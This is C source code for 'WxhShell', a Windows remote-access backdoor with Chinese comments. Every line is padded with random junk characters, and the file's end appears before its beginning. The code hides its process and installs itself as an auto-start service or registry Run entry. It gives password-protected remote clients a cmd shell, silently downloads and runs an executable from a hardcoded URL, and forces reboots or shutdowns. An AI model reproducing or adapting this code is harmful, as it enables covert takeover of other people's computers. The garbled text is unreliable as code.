    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7X'y>\^w^>  
    if(Boot(SHUTDOWN)) ;NsO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vWY(%Q,  
    else { zWIeHIt  
    closesocket(wsh); "=|t~`  
    ExitThread(0); T[.[ g/`  
    } QzthTX<  
    break; .>]N+:O  
    } i_U}{|j  
  // 获取shell kh?. K#  
  case 's': { Eark)  
    CmdShell(wsh); gyus8#sT  
    closesocket(wsh); fp&Got!pB  
    ExitThread(0); ixw(c&gL  
    break; % vS8?nG  
  } 8tQ|-l *  
  // 退出 vJC f~'  
  case 'x': { U9ZbVjqv@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a8s4T$  
    CloseIt(wsh); b!a %YLL  
    break; ^M Ey,  
    } 'G#SLqZy  
  // 离开 R^8B3-aA`  
  case 'q': { ^ KH>1!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DQgH_!  
    closesocket(wsh); I/s.xk_i  
    WSACleanup(); J22r v(  
    exit(1); '29WscU  
    break; ;$!I&<)  
        } +1@AGJU3  
  } =A n`D  
  } NWKi ()nA%  
:ba/W&-d  
  // 提示信息 eXzXd*$S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hed$ytMaGz  
} OM!=ViN(=  
  } I; j3*lV_  
^ d\SPZ  
  return; /V^sJ($V$~  
} A1_ J sS  
PqEAqP  
// shell模块句柄 a [C&e,)}  
int CmdShell(SOCKET sock) "!q?P" @C  
{ bK=c@GXS  
STARTUPINFO si; PDC]wZd/  
ZeroMemory(&si,sizeof(si)); XxOn3i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dDlG!F_=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6P+DnS[]  
PROCESS_INFORMATION ProcessInfo; XO wiHW{  
char cmdline[]="cmd"; V0NVGRQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lt>7hBe"  
  return 0; fNoR\5}!  
} fIyPFqf7w)  
~@fR[sg<  
// 自身启动模式 d=F-L  
int StartFromService(void) r/AHJU3&eY  
{ }ND'0*#  
typedef struct ")M;+<c"l  
{ ;[Tyt[  
  DWORD ExitStatus; ?,% TU&Yn  
  DWORD PebBaseAddress; yNva1I  
  DWORD AffinityMask; 4<}A]BQVkJ  
  DWORD BasePriority; ']?=[`#NL  
  ULONG UniqueProcessId; h5-d;RKE  
  ULONG InheritedFromUniqueProcessId; \cZfg%PN  
}   PROCESS_BASIC_INFORMATION; 8p =>?wG  
iz`jDa Q|1  
PROCNTQSIP NtQueryInformationProcess; <]Y[XI(kr  
-,GEv%6c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E1W:hGI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c{>|o  
A,c'g}:  
  HANDLE             hProcess; 'F5)ACA%  
  PROCESS_BASIC_INFORMATION pbi;  :]c=pH  
F<r4CHfh;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;r!\-]5$  
  if(NULL == hInst ) return 0; 0w3b~RJ  
|s|/]aD}o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e2Jp'93o'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8^X]z|2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); },PBqWe  
Y/P]5: =h  
  if (!NtQueryInformationProcess) return 0; hTTfJDF  
WQt5#m; W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ragSy8M  
  if(!hProcess) return 0; =pp:j`B9(  
Z#7U "G-A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F^rl$#pCS  
AgsR-"uh  
  CloseHandle(hProcess); Zh,]J `  
\n0gTwiO%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !K\itOEP-  
if(hProcess==NULL) return 0; 8c).8RLf  
mP!N<K  
HMODULE hMod; ) `I=oB  
char procName[255]; an KuTI  
unsigned long cbNeeded; RpN <=  
Qa?aL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uF<S  
k7T alR  
  CloseHandle(hProcess); ;*QN9T=0  
a#QBy P  
if(strstr(procName,"services")) return 1; // 以服务启动 }+DDJ6Jzs  
C1 {ZW~"YI  
  return 0; // 注册表启动 xid:"y=_&  
} \7 Mq $d  
S'@=3)  
// 主模块 N D* ]gM  
int StartWxhshell(LPSTR lpCmdLine) BD'NuI  
{ xt))]aH  
  SOCKET wsl; kY!C_kFcn  
BOOL val=TRUE; i4VK{G~g"  
  int port=0; $e1:Q#den2  
  struct sockaddr_in door; V6+Zh>'S  
%MuaW(I o  
  if(wscfg.ws_autoins) Install(); oCA(FQ6  
>0V0i%inmF  
port=atoi(lpCmdLine); 0n5!B..m}  
^0Q'./A{&  
if(port<=0) port=wscfg.ws_port; /e<5Np\X  
6 [ _ fD  
  WSADATA data; Ilef+V^qr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p`p?li  
k<O y%+C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %M6 c0d[9-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yoW> BX  
  door.sin_family = AF_INET; 5)*6V&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -fPT}v  
  door.sin_port = htons(port); e YDUon  
-yA3 RP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "Q?_ EEn  
closesocket(wsl); :rL?1"   
return 1; uk6g s)qxC  
} 0BFz7  
! tr9(d  
  if(listen(wsl,2) == INVALID_SOCKET) { Y?t2,cm   
closesocket(wsl); `EVg'?pl  
return 1; H9E(\)@  
} .qinR 6=  
  Wxhshell(wsl); 9A<0zt  
  WSACleanup(); mt^`1ekoY  
\!4|tBKVY  
return 0; ;q &0,B  
/f]/8b g>  
} K @C4*?P  
hiIya WU  
// 以NT服务方式启动 ,`"K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +,wWhhvlzv  
{ B~rU1Y)  
DWORD   status = 0; raF] k0{  
  DWORD   specificError = 0xfffffff; BPiiexTV9  
E [*0Bo]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7vq DZg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dt|fDw$]D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 19&)Yd1  
  serviceStatus.dwWin32ExitCode     = 0; g@(4ujOT  
  serviceStatus.dwServiceSpecificExitCode = 0; ?V?<E=13  
  serviceStatus.dwCheckPoint       = 0; yF;?Hg  
  serviceStatus.dwWaitHint       = 0; o"4E+1qwM  
L}b'+Wi@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); + "zYn!0  
  if (hServiceStatusHandle==0) return; S[sr 'ZW  
}{t3SGsJ  
status = GetLastError(); <K,[sy&Qy  
  if (status!=NO_ERROR) B6uRJcD4  
{ !^-OfqIHfV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]f5c\\)  
    serviceStatus.dwCheckPoint       = 0; &~}@u[=ux  
    serviceStatus.dwWaitHint       = 0; `OBl:e  
    serviceStatus.dwWin32ExitCode     = status; g+3Hwtl  
    serviceStatus.dwServiceSpecificExitCode = specificError; |C4o zl=O?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fq4lXlSB  
    return; K?JV]^  
  } +9jivOmK  
;da4\bppt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S!<"Swf:  
  serviceStatus.dwCheckPoint       = 0; SlT7L||Ww  
  serviceStatus.dwWaitHint       = 0; jVs(x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X]MTaD.t  
} FF jRf  
p$XnOh  
// 处理NT服务事件,比如:启动、停止 Qqh^E_O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k1m'Ka-  
{ ^} tuP  
switch(fdwControl) s*eyTm  
{ }9 ?y'6l  
case SERVICE_CONTROL_STOP: ]An_5J  
  serviceStatus.dwWin32ExitCode = 0; xjE7DCmA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _V&x`ks  
  serviceStatus.dwCheckPoint   = 0; *cPN\Iu.W  
  serviceStatus.dwWaitHint     = 0; yduuFK  
  { wZ O@J|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =~ '^;D  
  } zNwc((  
  return; ,k\/]9  
case SERVICE_CONTROL_PAUSE: t)KPp|&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,, 7.=#  
  break; l*qk1H"g  
case SERVICE_CONTROL_CONTINUE: w~p4S+k&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sc9]sIb  
  break; OFp#<o,p  
case SERVICE_CONTROL_INTERROGATE: $8=(I2&TW  
  break; my]P_mE  
}; DgVyy&7>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k}#@8n|b  
} N7a[B>+`  
51z/  
// 标准应用程序主函数 3#B@83C0Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fH; |Rm  
{ t={poQC~  
+<z7ds{Z  
// 获取操作系统版本 fs7~NY  
OsIsNt=GetOsVer(); pRb<wt7v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8pd&3G+  
k~& o  
  // 从命令行安装 *XHj)DC;  
  if(strpbrk(lpCmdLine,"iI")) Install(); 50COL66:7  
G%Y*q(VrEu  
  // 下载执行文件 lu3Q,W  
if(wscfg.ws_downexe) { 6R L~iD;X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5%'o%`?i  
  WinExec(wscfg.ws_filenam,SW_HIDE); a!&bc8J7  
} _@7(g(pY 3  
$f9 ,##/  
if(!OsIsNt) { Cy]"  
// 如果时win9x,隐藏进程并且设置为注册表启动 3Nc'3NPQ'  
HideProc(); 5VuC U  
StartWxhshell(lpCmdLine); )eVzSj>MT  
} .x]'eq}  
else IcRM4Ib))Q  
  if(StartFromService()) *13g <#$  
  // 以服务方式启动 =P 1RdyP  
  StartServiceCtrlDispatcher(DispatchTable); .vN)A *  
else /FoUo   
  // 普通方式启动 kBQ5]Q"  
  StartWxhshell(lpCmdLine);  |h  
'W}~)+zK  
return 0; (\T8!s{AO  
} /5&3WG&<u  
N`J:^,H  
!Jk(&.  
<Sz>ZIISd  
=========================================== )-MA!\=<  
~JIywzcf8  
#( $k 3OA  
[8 {_i?wY  
,w,ENU0~f  
oH!$eAU?  
" f+Pg1Q0zI  
+8MW$ m$  
#include <stdio.h> x8\E~6`,  
#include <string.h> 6 Xzk;p  
#include <windows.h>  JsZAP  
#include <winsock2.h> =>gyc;{2K<  
#include <winsvc.h> AsTMY02|  
#include <urlmon.h> @m*&c*r  
W@R$' r,@O  
#pragma comment (lib, "Ws2_32.lib") XLkL#&Ir  
#pragma comment (lib, "urlmon.lib") E geG,/-`  
h;cB_6vt  
#define MAX_USER   100 // 最大客户端连接数 :DS2zA  
#define BUF_SOCK   200 // sock buffer ]>]#zu$=c  
#define KEY_BUFF   255 // 输入 buffer QO1A976o  
(mD-FR@#  
#define REBOOT     0   // 重启 Xq=!"E  
#define SHUTDOWN   1   // 关机 U08<V:~  
@d8&3@{R^  
#define DEF_PORT   5000 // 监听端口 +G3nn!g l4  
l%-67(  
#define REG_LEN     16   // 注册表键长度 SX1Fyy6 w  
#define SVC_LEN     80   // NT服务名长度 M"$jpBN*  
#+ 2:d?t  
// 从dll定义API .N2nJ/   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~:P8g<w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1C5kS[!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lOowMlf@2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nqo#sBS  
a<a&6 3  
// wxhshell配置信息 o{S}e!Vb  
struct WSCFG { )7Hon  
  int ws_port;         // 监听端口 z[0LU]b<  
  char ws_passstr[REG_LEN]; // 口令 dw{#||  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0`g}(}'L  
  char ws_regname[REG_LEN]; // 注册表键名 T@d_ t  
  char ws_svcname[REG_LEN]; // 服务名 4 _c:Vl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Se;?j-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qH {8n`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4z-,M7iP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~u~[E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s= GOB"G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V1CSXY\2  
M<M# < kD  
}; (> +k3  
5tgILxSK  
// default Wxhshell configuration (DEL xE  
struct WSCFG wscfg={DEF_PORT, Pi"tQyw39$  
    "xuhuanlingzhe", \@ WsF$  
    1, NbQMWU~7  
    "Wxhshell", rH2tC=%  
    "Wxhshell", k^'d@1z;C  
            "WxhShell Service", gN!E*@7  
    "Wrsky Windows CmdShell Service", +hyWo]nW0  
    "Please Input Your Password: ", yp^[]Mz=  
  1, .JD4gF2N  
  "http://www.wrsky.com/wxhshell.exe", mER8> <  
  "Wxhshell.exe" VFO&)E/-  
    }; "t%1@b*u  
O0=,&=i  
// 消息定义模块 z6L>!=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Dbkuh!R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sBuq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SG+i\yu$h0  
char *msg_ws_ext="\n\rExit."; 2=!3[> B  
char *msg_ws_end="\n\rQuit."; 0c\|S>g [  
char *msg_ws_boot="\n\rReboot..."; 5.C[)`_  
char *msg_ws_poff="\n\rShutdown..."; P98X[0&  
char *msg_ws_down="\n\rSave to "; -UD~>s  
NZ%~n:/V#  
char *msg_ws_err="\n\rErr!"; ?V\9,BTb)  
char *msg_ws_ok="\n\rOK!"; KHc/x8^9  
"[".3V  
char ExeFile[MAX_PATH]; }G,SqpcG  
int nUser = 0; @6i8RmOu}  
HANDLE handles[MAX_USER]; &=6cz$]z  
int OsIsNt; 5>4A}hSe  
kb}]sj  
SERVICE_STATUS       serviceStatus; 2XecP'+m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1$3XKw'  
faL^=CAe  
// 函数声明 gQk#l\w _  
int Install(void); ~d#;r5>  
int Uninstall(void); Y+"hu2aPkY  
int DownloadFile(char *sURL, SOCKET wsh); zoJkDr=jn  
int Boot(int flag); Z 9 q{r s  
void HideProc(void); HA3SQ  
int GetOsVer(void); C}8e<[} )  
int Wxhshell(SOCKET wsl); Vf,~MG  
void TalkWithClient(void *cs); WT ~dA95  
int CmdShell(SOCKET sock); (-Ct!aW|  
int StartFromService(void); L9unhx  
int StartWxhshell(LPSTR lpCmdLine); 9^ *ZH1  
~a8G 5M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5S-o 2a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SFk11  
`9Q,=D+  
// 数据结构和表定义 \Zz= 4 j  
SERVICE_TABLE_ENTRY DispatchTable[] = 8a$jO+UvN  
{ {GH`V}Ob  
{wscfg.ws_svcname, NTServiceMain}, 7L~ zI>2  
{NULL, NULL} h7W%}6Cqkw  
}; f'i8Mm4IL  
=Q=&Ucf_  
// 自我安装 fFTvf0j  
int Install(void) B,m$ur#$  
{ X5oW[  
  char svExeFile[MAX_PATH]; X^_+%U  
  HKEY key; xO9]yULgu  
  strcpy(svExeFile,ExeFile); Z\gg<Q  
\,cKt_{ u  
// 如果是win9x系统,修改注册表设为自启动 j@?[vi  
if(!OsIsNt) { M@2Qn-I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RzY`^A6G6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NV:XPw/  
  RegCloseKey(key); f{ 4G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v[yTk[zd0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^p-e  
  RegCloseKey(key); <sWcS; x  
  return 0; @tv];t  
    } 8hdAXWPn  
  } 5vh"PlK`s  
} ao" ;5 m  
else { O]%m{afM  
8,H5G`  
// 如果是NT以上系统,安装为系统服务 t ]I(98pY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3_eml\CY  
if (schSCManager!=0) pv?17(w(\  
{ [sY1|eX   
  SC_HANDLE schService = CreateService RnBmy^l"  
  ( Sp$x%p0  
  schSCManager, /%q9hI   
  wscfg.ws_svcname, Nj@?}`C 4  
  wscfg.ws_svcdisp, $8T|r+<  
  SERVICE_ALL_ACCESS, r dG2| Tp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DEwtP  
  SERVICE_AUTO_START, -.Pu5et4  
  SERVICE_ERROR_NORMAL, Wo WM  
  svExeFile, T# _n-b>  
  NULL, DGfQo5#  
  NULL, UE#Ni 5  
  NULL, aaD$'Y,<>B  
  NULL, JQh s=Xg  
  NULL Jx ;"a\KD  
  ); ):\{n8~  
  if (schService!=0) RWPd S  
  { )w 8lusa  
  CloseServiceHandle(schService); ,vdP #:  
  CloseServiceHandle(schSCManager); s$\8)V52  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gx*0$4xJ3  
  strcat(svExeFile,wscfg.ws_svcname); [.Wt,zrE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1 GHgwT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0S5C7df  
  RegCloseKey(key); _} 9R}  
  return 0; >=W#z  
    } Q]g4gj  
  } GxDF7 z%&  
  CloseServiceHandle(schSCManager); ?nSp?m;  
} 6p6Tse]  
} P$qkb|D,  
V?J,ab$X#  
return 1; FR6I+@ oX~  
} ]%Yis=v  
5eSTT#[+R  
// 自我卸载 &@iF!D\u  
int Uninstall(void) @SG="L  
{ 8\.1m9&r>o  
  HKEY key; \lakT_x  
&?Z)V-1H  
if(!OsIsNt) { 2GKU9cV*`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -hR\Y 2?  
  RegDeleteValue(key,wscfg.ws_regname); +e4<z%1  
  RegCloseKey(key); 95 .'t}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @N_H]6z4  
  RegDeleteValue(key,wscfg.ws_regname); '=5_u  
  RegCloseKey(key); =bg&CZV T  
  return 0; v*fc5"3eO  
  } IS4K$Ac.  
} W#\};P  
} Z#:@M[HH{  
else { m'"VuH?^  
p'!,F; xX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s]8J+8 <uO  
if (schSCManager!=0) nzJi)A./  
{ vMdhNOU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lz{T8yvZ  
  if (schService!=0) 2&K|~~  
  { Wk6&TrWlY  
  if(DeleteService(schService)!=0) { k8wi-z[dV  
  CloseServiceHandle(schService); W (c\$2`  
  CloseServiceHandle(schSCManager); ts\>_/  
  return 0; S,9WMti4x  
  } `&[:!U2]F  
  CloseServiceHandle(schService); YJvT p~  
  } -&D6w9w  
  CloseServiceHandle(schSCManager); f#Cdx"  
} <\>ak7m  
} RYJc>  
SVWSO  
return 1; L=w Fo^N  
} G/3lX^Z>  
=}GyI_br;8  
// 从指定url下载文件 H1qw1[%0y  
int DownloadFile(char *sURL, SOCKET wsh) I5OH=,y`  
{ &`Z)5Ww  
  HRESULT hr; 8PjhvU  
char seps[]= "/"; UuC"-$:  
char *token; SA n=9MG  
char *file; zp-~'kIJ  
char myURL[MAX_PATH]; U105u.#7  
char myFILE[MAX_PATH]; u,SZ-2K!7~  
dB)hW'J?  
strcpy(myURL,sURL); 5f@YrTO[@  
  token=strtok(myURL,seps); Or) c*.|\  
  while(token!=NULL) n]c,0N  
  { Wc;D{p?Lb  
    file=token; 9,>Y  
  token=strtok(NULL,seps); 2co{9LM  
  } Y'*h_K  
xQ 3u  
GetCurrentDirectory(MAX_PATH,myFILE); t\d;}@bl  
strcat(myFILE, "\\"); M]TVaN$v#  
strcat(myFILE, file); c O>:n  
  send(wsh,myFILE,strlen(myFILE),0); 6@ ^`-N;  
send(wsh,"...",3,0); 3CuoB b8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @wJa33QT  
  if(hr==S_OK) #|h8u`  
return 0; I>~BkR+u%o  
else 7:E#c"S q  
return 1; < ^!eaBR4  
!rGI),  
} :!15>ML;-  
QO1Gq9  
// 系统电源模块  pytfsVM  
int Boot(int flag) TFNU+  
{ MJpTr5Vs  
  HANDLE hToken; ,,wx197XeD  
  TOKEN_PRIVILEGES tkp; c;}n=7,>:L  
`|?$; )  
  if(OsIsNt) { @7 HBXP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2#}IGZ`Yp/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qA/ 3uA!z  
    tkp.PrivilegeCount = 1; b+apNph  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `^k<.O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TiEJyd`P  
if(flag==REBOOT) { jAHn`Bxz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &-Er n/[  
  return 0; eG>Fn6G<g  
} IVODR  
else { Cs=i9.-A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -vAG5x/,  
  return 0; !O_^Rn+<2  
} >8t[EsW/  
  } &`2*6 )qa  
  else { [;8fL  
if(flag==REBOOT) { |sM#g1D@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [N+ruc?)  
  return 0; * xXc$T  
} 2;r^~:  
else { urjp&L&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9gayu<J  
  return 0; IFoN<<7/2$  
} B#n}y  
} #wuE30d  
g~u!,Zc  
return 1; *X5LyO3-gP  
} |q)Q <%VS'  
A~SSu.L@  
// win9x进程隐藏模块 Mn;CG'FA  
void HideProc(void) O4mWsr  
{ S^=/}PT'  
30`H Xv@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n:kxG  
  if ( hKernel != NULL ) ~36XJ  
  { uoc-qmm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o|E(_ Y4d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kx!|4ya,  
    FreeLibrary(hKernel); scwlW b<N  
  } s_kd@?=`x  
!gQ(1u|r  
return; hmk5 1  
}  :Xr3 3  
~,1X>N"  
// 获取操作系统版本 <rxem(PPu  
int GetOsVer(void) 1H@F>}DP  
{ $R36`wk  
  OSVERSIONINFO winfo; `o'sp9_3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `&JA7UD>  
  GetVersionEx(&winfo); Py<vN!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <-7Ha_#  
  return 1; x9s`H)  
  else 13 p0w  
  return 0; Y :BrAa[  
} 24l9/v'  
K*RRbtb  
// 客户端句柄模块 |8ZAE%/d  
int Wxhshell(SOCKET wsl) =5F49  
{ c~;.m<yrf  
  SOCKET wsh; \LXNdE2B  
  struct sockaddr_in client; H[U*' 2TJ  
  DWORD myID; "<b84?V5  
:D-vE7  
  while(nUser<MAX_USER) u?/]"4  
{ %&GQ]pmcY  
  int nSize=sizeof(client); {.W%m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N?:S?p9R@  
  if(wsh==INVALID_SOCKET) return 1; $% t  
Id1[}B-T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -2 ?fg   
if(handles[nUser]==0) <{j9|mt  
  closesocket(wsh); L1K_|X  
else > xw+2<  
  nUser++; vi|ASA{V  
  } "5bk82."  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V4D&&0&n  
VNPd L  
  return 0; _95tgJy  
} #k, kpL<a  
6, ~aV  
// 关闭 socket gUQCKNw  
void CloseIt(SOCKET wsh) ?c*d z{  
{ ~o$=(EC  
closesocket(wsh); Kz;VAH  
nUser--; c8MNo'h  
ExitThread(0); G&-h,"yo^  
} :#;?dMkTY  
6 h):o  
// 客户端请求句柄 iqYc&}k,  
void TalkWithClient(void *cs) 54&2SU$kx  
{ 6!N&,I  
A}# Mrb  
  SOCKET wsh=(SOCKET)cs; -B!pg7>'##  
  char pwd[SVC_LEN]; S/aPYrk>6  
  char cmd[KEY_BUFF]; l.! ~t1i  
char chr[1]; Oylw,*%  
int i,j; %yVZ|d*Q  
= %m/  
  while (nUser < MAX_USER) { T@.CwV  
u@Lu.t!],  
if(wscfg.ws_passstr) { @hv] [(<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); - Zh+5;8g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^,gKA\Wli  
  //ZeroMemory(pwd,KEY_BUFF); 5`Z#m:+u  
      i=0; 0fNBy^(K  
  while(i<SVC_LEN) { IA'AA|v  
up?8Pq*  
  // 设置超时 *V}}3Degh  
  fd_set FdRead; 8wd2\J,]  
  struct timeval TimeOut; Sl#XJ0 g  
  FD_ZERO(&FdRead); <rI~+J]s  
  FD_SET(wsh,&FdRead); czzV2P/t}  
  TimeOut.tv_sec=8; ] $*cmk(Y  
  TimeOut.tv_usec=0; &0`L;1R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q ^?{6}sy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R<)uvW_@  
+Xk!)Ge5E*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9S^-qQH3}  
  pwd=chr[0]; OZ&aTm :  
  if(chr[0]==0xd || chr[0]==0xa) { KN=Orx7Gy  
  pwd=0; }e$);A|  
  break; V RL6F2 >6  
  } O<*iDd`(e  
  i++; I{ $|Ed1  
    } _ U\vHa$#  
sQvEUqy9  
  // 如果是非法用户,关闭 socket KqQrxi?f-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^B/{  
} rRW&29A  
&wfM:a/c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |V& k1{V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sn]A0J_  
W0|?R6|  
while(1) { T+fU +GLD  
~zx-'sc?  
  ZeroMemory(cmd,KEY_BUFF); d?>sy\{2  
4ET P  
      // 自动支持客户端 telnet标准   =Ev } v  
  j=0; (|-/S0AV  
  while(j<KEY_BUFF) { q$K~BgFzpZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); | v+b?@  
  cmd[j]=chr[0]; >jcNo3S  
  if(chr[0]==0xa || chr[0]==0xd) { wJ}8y4O!N  
  cmd[j]=0; @S}'_g  
  break; x;I*Ho  
  } P~&X$H%e  
  j++; T-MLW=Vu  
    } Yr!3mU-Uvt  
p0/I}n4<5n  
  // 下载文件 cX2b:  
  if(strstr(cmd,"http://")) { *KM CU m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lUrchLoDt  
  if(DownloadFile(cmd,wsh)) rRMC< .=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vDemY"wz  
  else ~b+>o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,^3D"Tky  
  } +VJl#sc/;  
  else { QeK~A@|F&  
jooh`| `P  
    switch(cmd[0]) { X,p&S^  
